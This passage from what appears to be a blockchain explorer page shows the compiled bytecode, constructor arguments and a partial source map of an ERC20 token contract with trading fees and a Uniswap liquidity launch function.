8419497f9722a3daafe3b4186f6b6457e09190a35050565b6012805460ff60a01b1916600160a01b179055610dc481610e5a565b6009544790610ddc906001600160a01b031682610fb4565b50506012805460ff60a01b19169055565b80610dff57610dfa610fef565b610e33565b60098054600160a01b900460ff16906014610e198361141a565b91906101000a81548160ff021916908360ff160217905550505b610e3e848484611034565b80610cb957610cb9600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610e8f57610e8f611439565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ee8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0c9190611384565b81600181518110610f1f57610f1f611439565b6001600160a01b039283166020918202929092010152601154610f4591309116846109c5565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f7e90859060009086903090429060040161144f565b600060405180830381600087803b158015610f9857600080fd5b505af1158015610fac573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610fea573d6000803e3d6000fd5b505050565b600a54158015610fff5750600b54155b801561100b5750600c54155b1561101257565b600b8054600e55600c8054600f55600a8054600d556000928390559082905555565b6001600160a01b03821660009081526008602052604081205460ff1661105b57600061105f565b6007545b6001600160a01b03841660009081526008602052604090205490915060ff16156110f3576001600160a01b0384166000908152601060205260409020546110a690836111e0565b6001600160a01b0380861660009081526010602052604080822093909355908516815220546110d59082610ceb565b6001600160a01b038416600090815260106020526040902055610cb9565b6000806110ff846111ec565b6001600160a01b038816600090815260106020526040902054919350915061112790856111e0565b6001600160a01b0380881660009081526010602052604080822093909355908716815220546111569083610ceb565b6001600160a01b0386166000908152601060205260408082209290925530815220546111829082610ceb565b3060009081526010602090815260409182902092909255518381526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000610cf782846114c0565b60008060006064600a548561120191906114d3565b61120b91906114ea565b9050600061121985836111e0565b959194509092505050565b600060208083528351808285015260005b8181101561125157858101830151858201604001528201611235565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109c257600080fd5b6000806040838503121561129a57600080fd5b82356112a581611272565b946020939093013593505050565b6000806000606084860312156112c857600080fd5b83356112d381611272565b925060208401356112e381611272565b929592945050506040919091013590565b60006020828403121561130657600080fd5b8135610cf781611272565b6000806040838503121561132457600080fd5b823561132f81611272565b9150602083013561133f81611272565b809150509250929050565b600181811c9082168061135e57607f821691505b60208210810361137e57634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561139657600080fd5b8151610cf781611272565b6000806000606084860312156113b657600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156113e157600080fd5b81518015158114610cf757600080fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610521576105216113f1565b600060ff821660ff8103611430576114306113f1565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561149f5784516001600160a01b03168352938301939183019160010161147a565b50506001600160a01b03969096166060850152505050608001529392505050565b81810381811115610521576105216113f1565b8082028115828204841417610521576105216113f1565b60008261150757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c093706f41eed51832e173c936e59d4fa85fad882f4b0fc962b3ac6c3a9ceded64736f6c634300081300330000000000000000000000000000000000c097ce7bc90715b34b9f1000000000

Deployed Bytecode

0x6080604052600436106101445760003560e01c80634a74bb02116100b657806395d89b411161006f57806395d89b41146103ae578063a457c2d7146103c3578063a9059cbb146103e3578063c9567bf914610403578063dd62ed3e14610418578063f2fde38b1461045e57600080fd5b80634a74bb02146102dc578063590f897e146102fd57806370a0823114610313578063715018a614610349578063768dc710146103605780638da5cb5b1461039057600080fd5b8063220f669611610108578063220f66961461022357806323b872dd14610244578063313ce56714610264578063395093511461028657806340b9a54b146102a657806349bd5a5e146102bc57600080fd5b806306fdde0314610150578063095ea7b31461017b57806313fad07a146101ab5780631694505e146101cc57806318160ddd1461020457600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561047e565b6040516101729190611224565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611287565b610510565b6040519015158152602001610172565b3480156101b757600080fd5b5060125461019b90600160b01b900460ff1681565b3480156101d857600080fd5b506011546101ec906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561021057600080fd5b506004545b604051908152602001610172565b34801561022f57600080fd5b5060125461019b90600160a01b900460ff1681565b34801561025057600080fd5b5061019b61025f3660046112b3565b610527565b34801561027057600080fd5b5060035460405160ff9091168152602001610172565b34801561029257600080fd5b5061019b6102a1366004611287565b610590565b3480156102b257600080fd5b50610215600b5481565b3480156102c857600080fd5b506012546101ec906001600160a01b031681565b3480156102e857600080fd5b5060125461019b90600160a81b900460ff1681565b34801561030957600080fd5b50610215600c5481565b34801561031f57600080fd5b5061021561032e3660046112f4565b6001600160a01b031660009081526010602052604090205490565b34801561035557600080fd5b5061035e6105c6565b005b34801561036c57600080fd5b5061019b61037b3660046112f4565b60066020526000908152604090205460ff1681565b34801561039c57600080fd5b506000546001600160a01b03166101ec565b3480156103ba57600080fd5b506101656105da565b3480156103cf57600080fd5b5061019b6103de366004611287565b6105e9565b3480156103ef57600080fd5b5061019b6103fe366004611287565b610638565b34801561040f57600080fd5b5061035e610645565b34801561042457600080fd5b50610215610433366004611311565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561046a57600080fd5b5061035e6104793660046112f4565b610947565b60606001805461048d9061134a565b80601f01602080910402602001604051908101604052809291908181526020018280546104b99061134a565b80156105065780601f106104db57610100808354040283529160200191610506565b820191906000526020600020905b8154815290600101906020018083116104e957829003601f168201915b5050505050905090565b600061051d3384846109c5565b5060015b92915050565b6000610534848484610a86565b61058684336105818560405180606001604052806028815260200161150d602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cbf565b6109c5565b5060019392505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161051d9185906105819086610ceb565b6105ce610cfe565b6105d86000610d58565b565b60606002805461048d9061134a565b600061051d338461058185604051806060016040528060258152602001611535602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190610cbf565b600061051d338484610a86565b61064d610cfe565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c89190611384565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610715573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107399190611384565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610786573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa9190611384565b601280546001600160a01b03199081166001600160a01b0393841617909155601180549091169183169182179055306000818152601060205260409020546107f292906109c5565b6011546001600160a01b031663f305d7194730610824816001600160a01b031660009081526010602052604090205490565b6000806108396000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108a1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108c691906113a1565b505060125460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561091f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094391906113cf565b5050565b61094f610cfe565b6001600160a01b0381166109b95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6109c281610d58565b50565b6001600160a01b038316158015906109e557506001600160a01b03821615155b610a255760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016109b0565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610aa657506001600160a01b03821615155b610aea5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016109b0565b60008111610b485760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016109b0565b60095460ff600160a81b82048116600160a01b9092041610801590610b775750601254600160a01b900460ff16155b8015610b9157506012546001600160a01b03848116911614155b8015610ba65750601254600160a81b900460ff165b15610bd9576009805460ff60a01b19169055306000908152601060205260409020548015610bd757610bd781610da8565b505b6001600160a01b03831660009081526006602052604090205460019060ff1680610c1b57506001600160a01b03831660009081526006602052604090205460ff165b80610c625750601254600160b01b900460ff168015610c4857506012546001600160a01b03858116911614155b8015610c6257506012546001600160a01b03848116911614155b15610c6f57506000610cad565b6012546001600160a01b0390811690851603610c9057600b54600a55610cad565b6012546001600160a01b0390811690841603610cad57600c54600a555b610cb984848484610ded565b50505050565b60008184841115610ce35760405162461bcd60e51b81526004016109b09190611224565b505050900390565b6000610cf78284611407565b9392505050565b6000546001600160a01b031633146105d85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109b0565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6012805460ff60a01b1916600160a01b179055610dc481610e5a565b6009544790610ddc906001600160a01b031682610fb4565b50506012805460ff60a01b19169055565b80610dff57610dfa610fef565b610e33565b60098054600160a01b900460ff16906014610e198361141a565b91906101000a81548160ff021916908360ff160217905550505b610e3e848484611034565b80610cb957610cb9600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610e8f57610e8f611439565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ee8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0c9190611384565b81600181518110610f1f57610f1f611439565b6001600160a01b039283166020918202929092010152601154610f4591309116846109c5565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f7e90859060009086903090429060040161144f565b600060405180830381600087803b158015610f9857600080fd5b505af1158015610fac573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610fea573d6000803e3d6000fd5b505050565b600a54158015610fff5750600b54155b801561100b5750600c54155b1561101257565b600b8054600e55600c8054600f55600a8054600d556000928390559082905555565b6001600160a01b03821660009081526008602052604081205460ff1661105b57600061105f565b6007545b6001600160a01b03841660009081526008602052604090205490915060ff16156110f3576001600160a01b0384166000908152601060205260409020546110a690836111e0565b6001600160a01b0380861660009081526010602052604080822093909355908516815220546110d59082610ceb565b6001600160a01b038416600090815260106020526040902055610cb9565b6000806110ff846111ec565b6001600160a01b038816600090815260106020526040902054919350915061112790856111e0565b6001600160a01b0380881660009081526010602052604080822093909355908716815220546111569083610ceb565b6001600160a01b0386166000908152601060205260408082209290925530815220546111829082610ceb565b3060009081526010602090815260409182902092909255518381526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000610cf782846114c0565b60008060006064600a548561120191906114d3565b61120b91906114ea565b9050600061121985836111e0565b959194509092505050565b600060208083528351808285015260005b8181101561125157858101830151858201604001528201611235565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109c257600080fd5b6000806040838503121561129a57600080fd5b82356112a581611272565b946020939093013593505050565b6000806000606084860312156112c857600080fd5b83356112d381611272565b925060208401356112e381611272565b929592945050506040919091013590565b60006020828403121561130657600080fd5b8135610cf781611272565b6000806040838503121561132457600080fd5b823561132f81611272565b9150602083013561133f81611272565b809150509250929050565b600181811c9082168061135e57607f821691505b60208210810361137e57634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561139657600080fd5b8151610cf781611272565b6000806000606084860312156113b657600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156113e157600080fd5b81518015158114610cf757600080fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610521576105216113f1565b600060ff821660ff8103611430576114306113f1565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561149f5784516001600160a01b03168352938301939183019160010161147a565b50506001600160a01b03969096166060850152505050608001529392505050565b81810381811115610521576105216113f1565b8082028115828204841417610521576105216113f1565b60008261150757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c093706f41eed51832e173c936e59d4fa85fad882f4b0fc962b3ac6c3a9ceded64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000c097ce7bc90715b34b9f1000000000

-----Decoded View---------------
Arg [0] : _tokenAmount (uint256): 1000000000000000000000000000000000000

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000c097ce7bc90715b34b9f1000000000


Deployed Bytecode Sourcemap

14326:8428:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16328:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17038:161;;;;;;;;;;-1:-1:-1;17038:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17038:161:0;1023:187:1;18195:34:0;;;;;;;;;;-1:-1:-1;18195:34:0;;;;-1:-1:-1;;;18195:34:0;;;;;;15321:41;;;;;;;;;;-1:-1:-1;15321:41:0;;;;-1:-1:-1;;;;;15321:41:0;;;;;;-1:-1:-1;;;;;1406:32:1;;;1388:51;;1376:2;1361:18;15321:41:0;1215:230:1;16605:100:0;;;;;;;;;;-1:-1:-1;16685:12:0;;16605:100;;;1596:25:1;;;1584:2;1569:18;16605:100:0;1450:177:1;15404:28:0;;;;;;;;;;-1:-1:-1;15404:28:0;;;;-1:-1:-1;;;15404:28:0;;;;;;17207:312;;;;;;;;;;-1:-1:-1;17207:312:0;;;;;:::i;:::-;;:::i;16514:83::-;;;;;;;;;;-1:-1:-1;16580:9:0;;16514:83;;16580:9;;;;2235:36:1;;2223:2;2208:18;16514:83:0;2093:184:1;17527:217:0;;;;;;;;;;-1:-1:-1;17527:217:0;;;;;:::i;:::-;;:::i;15047:26::-;;;;;;;;;;;;;;;;15369:28;;;;;;;;;;-1:-1:-1;15369:28:0;;;;-1:-1:-1;;;;;15369:28:0;;;15439:40;;;;;;;;;;-1:-1:-1;15439:40:0;;;;-1:-1:-1;;;15439:40:0;;;;;;15080:27;;;;;;;;;;;;;;;;18028:116;;;;;;;;;;-1:-1:-1;18028:116:0;;;;;:::i;:::-;-1:-1:-1;;;;;18121:15:0;18094:7;18121:15;;;:6;:15;;;;;;;18028:116;5976:103;;;;;;;;;;;;;:::i;:::-;;14704:51;;;;;;;;;;-1:-1:-1;14704:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5741:87;;;;;;;;;;-1:-1:-1;5787:7:0;5814:6;-1:-1:-1;;;;;5814:6:0;5741:87;;16419;;;;;;;;;;;;;:::i;17752:268::-;;;;;;;;;;-1:-1:-1;17752:268:0;;;;;:::i;:::-;;:::i;16713:167::-;;;;;;;;;;-1:-1:-1;16713:167:0;;;;;:::i;:::-;;:::i;22122:627::-;;;;;;;;;;;;;:::i;16888:142::-;;;;;;;;;;-1:-1:-1;16888:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;16996:17:0;;;16969:7;16996:17;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;16888:142;6087:201;;;;;;;;;;-1:-1:-1;6087:201:0;;;;;:::i;:::-;;:::i;16328:83::-;16365:13;16398:5;16391:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16328:83;:::o;17038:161::-;17113:4;17130:39;5266:10;17153:7;17162:6;17130:8;:39::i;:::-;-1:-1:-1;17187:4:0;17038:161;;;;;:::o;17207:312::-;17305:4;17322:36;17332:6;17340:9;17351:6;17322:9;:36::i;:::-;17369:120;17378:6;5266:10;17400:88;17437:6;17400:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17400:18:0;;;;;;:10;:18;;;;;;;;5266:10;17400:32;;;;;;;;;;:36;:88::i;:::-;17369:8;:120::i;:::-;-1:-1:-1;17507:4:0;17207:312;;;;;:::o;17527:217::-;5266:10;17615:4;17664:24;;;:10;:24;;;;;;;;-1:-1:-1;;;;;17664:33:0;;;;;;;;;;17615:4;;17632:82;;17655:7;;17664:49;;17702:10;17664:37;:49::i;5976:103::-;5700:13;:11;:13::i;:::-;6041:30:::1;6068:1;6041:18;:30::i;:::-;5976:103::o:0;16419:87::-;16458:13;16491:7;16484:14;;;;;:::i;17752:268::-;17845:4;17862:128;5266:10;17885:7;17894:95;17932:15;17894:95;;;;;;;;;;;;;;;;;5266:10;17894:24;;;;:10;:24;;;;;;;;-1:-1:-1;;;;;17894:33:0;;;;;;;;;;;;:37;:95::i;16713:167::-;16791:4;16808:42;5266:10;16832:9;16843:6;16808:9;:42::i;22122:627::-;5700:13;:11;:13::i;:::-;22175:32:::1;22229:42;22175:97;;22317:13;-1:-1:-1::0;;;;;22317:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;22299:53:0::1;;22361:4;22368:13;-1:-1:-1::0;;;;;22368:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22299:90;::::0;-1:-1:-1;;;;;;22299:90:0::1;::::0;;;;;;-1:-1:-1;;;;;4006:15:1;;;22299:90:0::1;::::0;::::1;3988:34:1::0;4058:15;;4038:18;;;4031:43;3923:18;;22299:90:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22283:13;:106:::0;;-1:-1:-1;;;;;;22283:106:0;;::::1;-1:-1:-1::0;;;;;22283:106:0;;::::1;;::::0;;;22400:15:::1;:31:::0;;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;22459:4:::1;-1:-1:-1::0;18121:15:0;;;:6;:15;;;;;;22442:75:::1;::::0;22400:31;17369:8;:120::i;22442:75::-:1;22528:15;::::0;-1:-1:-1;;;;;22528:15:0::1;:31;22567:21;22598:4;22604:24;22598:4:::0;-1:-1:-1;;;;;18121:15:0;18094:7;18121:15;;;:6;:15;;;;;;;18028:116;22604:24:::1;22629:1;22631::::0;22633:7:::1;5787::::0;5814:6;-1:-1:-1;;;;;5814:6:0;;5741:87;22633:7:::1;22528:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;22528:129:0;;;-1:-1:-1;;;;;4444:15:1;;;22528:129:0::1;::::0;::::1;4426:34:1::0;4476:18;;;4469:34;;;;4519:18;;;4512:34;;;;4562:18;;;4555:34;4626:15;;;4605:19;;;4598:44;22641:15:0::1;4658:19:1::0;;;4651:35;4360:19;;22528:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;22675:13:0::1;::::0;22706:15:::1;::::0;22668:71:::1;::::0;-1:-1:-1;;;22668:71:0;;-1:-1:-1;;;;;22706:15:0;;::::1;22668:71;::::0;::::1;5182:51:1::0;-1:-1:-1;;5249:18:1;;;5242:34;22675:13:0;::::1;::::0;-1:-1:-1;22668:29:0::1;::::0;5155:18:1;;22668:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;22164:585;22122:627::o:0;6087:201::-;5700:13;:11;:13::i;:::-;-1:-1:-1;;;;;6176:22:0;::::1;6168:73;;;::::0;-1:-1:-1;;;6168:73:0;;5771:2:1;6168:73:0::1;::::0;::::1;5753:21:1::0;5810:2;5790:18;;;5783:30;5849:34;5829:18;;;5822:62;-1:-1:-1;;;5900:18:1;;;5893:36;5946:19;;6168:73:0::1;;;;;;;;;6252:28;6271:8;6252:18;:28::i;:::-;6087:201:::0;:::o;18702:265::-;-1:-1:-1;;;;;18797:19:0;;;;;;:44;;-1:-1:-1;;;;;;18820:21:0;;;;18797:44;18789:74;;;;-1:-1:-1;;;18789:74:0;;6178:2:1;18789:74:0;;;6160:21:1;6217:2;6197:18;;;6190:30;-1:-1:-1;;;6236:18:1;;;6229:47;6293:18;;18789:74:0;5976:341:1;18789:74:0;-1:-1:-1;;;;;18874:17:0;;;;;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;:35;;;18925:32;;1596:25:1;;;18925:32:0;;1569:18:1;18925:32:0;;;;;;;18702:265;;;:::o;18975:1041::-;-1:-1:-1;;;;;19099:18:0;;;;;;:38;;-1:-1:-1;;;;;;19121:16:0;;;;19099:38;19091:72;;;;-1:-1:-1;;;19091:72:0;;6524:2:1;19091:72:0;;;6506:21:1;6563:2;6543:18;;;6536:30;-1:-1:-1;;;6582:18:1;;;6575:51;6643:18;;19091:72:0;6322:345:1;19091:72:0;19191:1;19182:6;:10;19174:60;;;;-1:-1:-1;;;19174:60:0;;6874:2:1;19174:60:0;;;6856:21:1;6913:2;6893:18;;;6886:30;6952:34;6932:18;;;6925:62;-1:-1:-1;;;7003:18:1;;;6996:35;7048:19;;19174:60:0;6672:401:1;19174:60:0;19275:11;;;-1:-1:-1;;;19275:11:0;;;;-1:-1:-1;;;19264:7:0;;;;:22;;;;:57;;-1:-1:-1;19305:16:0;;-1:-1:-1;;;19305:16:0;;;;19304:17;19264:57;:95;;;;-1:-1:-1;19346:13:0;;-1:-1:-1;;;;;19338:21:0;;;19346:13;;19338:21;;19264:95;:133;;;;-1:-1:-1;19376:21:0;;-1:-1:-1;;;19376:21:0;;;;19264:133;19247:393;;;19442:7;:11;;-1:-1:-1;;;;19442:11:0;;;19517:4;-1:-1:-1;18121:15:0;;;:6;:15;;;;;;19541:24;;19538:91;;19581:36;19596:20;19581:14;:36::i;:::-;19423:217;19247:393;-1:-1:-1;;;;;19689:24:0;;19654:12;19689:24;;;:18;:24;;;;;;19669:4;;19689:24;;;:50;;-1:-1:-1;;;;;;19717:22:0;;;;;;:18;:22;;;;;;;;19689:50;:119;;;-1:-1:-1;19744:15:0;;-1:-1:-1;;;19744:15:0;;;;:40;;;;-1:-1:-1;19771:13:0;;-1:-1:-1;;;;;19763:21:0;;;19771:13;;19763:21;;19744:40;:63;;;;-1:-1:-1;19794:13:0;;-1:-1:-1;;;;;19788:19:0;;;19794:13;;19788:19;;19744:63;19686:272;;;-1:-1:-1;19834:5:0;19686:272;;;19869:13;;-1:-1:-1;;;;;19869:13:0;;;19861:21;;;;19857:101;;19896:7;;19884:9;:19;19857:101;;;19921:13;;-1:-1:-1;;;;;19921:13:0;;;19915:19;;;;19911:47;;19948:8;;19936:9;:20;19911:47;19970:38;19985:4;19990:2;19993:6;20000:7;19970:14;:38::i;:::-;19078:938;18975:1041;;;:::o;3969:206::-;4055:7;4116:12;4108:6;;;;4100:29;;;;-1:-1:-1;;;4100:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;4151:5:0;;;3969:206::o;3545:98::-;3603:7;3630:5;3634:1;3630;:5;:::i;:::-;3623:12;3545:98;-1:-1:-1;;;3545:98:0:o;5836:132::-;5787:7;5814:6;-1:-1:-1;;;;;5814:6:0;5266:10;5900:23;5892:68;;;;-1:-1:-1;;;5892:68:0;;7542:2:1;5892:68:0;;;7524:21:1;;;7561:18;;;7554:30;7620:34;7600:18;;;7593:62;7672:18;;5892:68:0;7340:356:1;6296:191:0;6370:16;6389:6;;-1:-1:-1;;;;;6406:17:0;;;-1:-1:-1;;;;;;6406:17:0;;;;;;6439:40;;6389:6;;;;;;;6439:40;;6370:16;6439:40;6359:128;6296:191;:::o;20384:228::-;15709:16;:23;;-1:-1:-1;;;;15709:23:0;-1:-1:-1;;;15709:23:0;;;20468:37:::1;20484:20:::0;20468:15:::1;:37::i;:::-;20581:10;::::0;20538:21:::1;::::0;20570:34:::1;::::0;-1:-1:-1;;;;;20581:10:0::1;20538:21:::0;20570:10:::1;:34::i;:::-;-1:-1:-1::0;;15755:16:0;:24;;-1:-1:-1;;;;15755:24:0;;;20384:228::o;21107:332::-;21222:7;21218:107;;21245:14;:12;:14::i;:::-;21218:107;;;21300:7;:9;;-1:-1:-1;;;21300:9:0;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;21218:107;21339:41;21354:6;21362:9;21373:6;21339:14;:41::i;:::-;21397:7;21393:38;;21419:12;18599:17;;18587:9;:29;18633:15;;18623:7;:25;18667:16;;18656:8;:27;18548:146;20624:473;20715:16;;;20729:1;20715:16;;;;;;;;20691:21;;20715:16;;;;;;;;;;-1:-1:-1;20715:16:0;20691:40;;20760:4;20742;20747:1;20742:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20742:23:0;;;:7;;;;;;;;;;:23;;;;20786:15;;:22;;;-1:-1:-1;;;20786:22:0;;;;:15;;;;;:20;;:22;;;;;20742:7;;20786:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20776:4;20781:1;20776:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20776:32:0;;;:7;;;;;;;;;:32;20851:15;;20819:62;;20836:4;;20851:15;20869:11;20819:8;:62::i;:::-;20892:15;;:197;;-1:-1:-1;;;20892:197:0;;-1:-1:-1;;;;;20892:15:0;;;;:66;;:197;;20973:11;;20892:15;;21016:4;;21043;;21063:15;;20892:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20678:419;20624:473;:::o;20024:118::-;20107:23;;-1:-1:-1;;;;;20107:15:0;;;:23;;;;;20123:6;;20107:23;;;;20123:6;20107:15;:23;;;;;;;;;;;;;;;;;;;;;20024:118;;:::o;18240:300::-;18286:9;;:14;:30;;;;-1:-1:-1;18304:7:0;;:12;18286:30;:47;;;;-1:-1:-1;18320:8:0;;:13;18286:47;18283:59;;;18240:300::o;18283:59::-;18374:7;;;18356:15;:25;18412:8;;;18393:16;:27;18452:9;;;18432:17;:29;-1:-1:-1;18472:11:0;;;;18494:12;;;;18517:13;18240:300::o;21447:665::-;-1:-1:-1;;;;;21558:20:0;;21541:14;21558:20;;;:9;:20;;;;;;;;:34;;21591:1;21558:34;;;21579:11;;21558:34;-1:-1:-1;;;;;21608:20:0;;;;;;:9;:20;;;;;;21541:51;;-1:-1:-1;21608:20:0;;21605:500;;;-1:-1:-1;;;;;21657:14:0;;;;;;:6;:14;;;;;;:26;;21676:6;21657:18;:26::i;:::-;-1:-1:-1;;;;;21640:14:0;;;;;;;:6;:14;;;;;;:43;;;;21714:17;;;;;;;:29;;21736:6;21714:21;:29::i;:::-;-1:-1:-1;;;;;21694:17:0;;;;;;:6;:17;;;;;:49;21605:500;;;21771:23;21796:17;21817;21827:6;21817:9;:17::i;:::-;-1:-1:-1;;;;;21862:14:0;;;;;;:6;:14;;;;;;21770:64;;-1:-1:-1;21770:64:0;-1:-1:-1;21862:26:0;;21881:6;21862:18;:26::i;:::-;-1:-1:-1;;;;;21845:14:0;;;;;;;:6;:14;;;;;;:43;;;;21919:17;;;;;;;:38;;21941:15;21919:21;:38::i;:::-;-1:-1:-1;;;;;21899:17:0;;;;;;:6;:17;;;;;;:58;;;;22007:4;21992:21;;;;:36;;22018:9;21992:25;:36::i;:::-;21983:4;21968:21;;;;:6;:21;;;;;;;;;:60;;;;22045:44;1596:25:1;;;-1:-1:-1;;;;;22045:44:0;;;;;;;;;;1569:18:1;22045:44:0;;;;;;;21759:346;;21530:582;21447:665;;;:::o;3651:98::-;3709:7;3736:5;3740:1;3736;:5;:::i;20150:226::-;20208:7;20217;20237:12;20270:3;20260:9;;20252:7;:17;;;;:::i;:::-;:21;;;;:::i;:::-;20237:36;-1:-1:-1;20284:23:0;20310:17;:7;20237:36;20310:11;:17::i;:::-;20284:43;20363:4;;-1:-1:-1;20150:226:0;;-1:-1:-1;;;20150:226:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9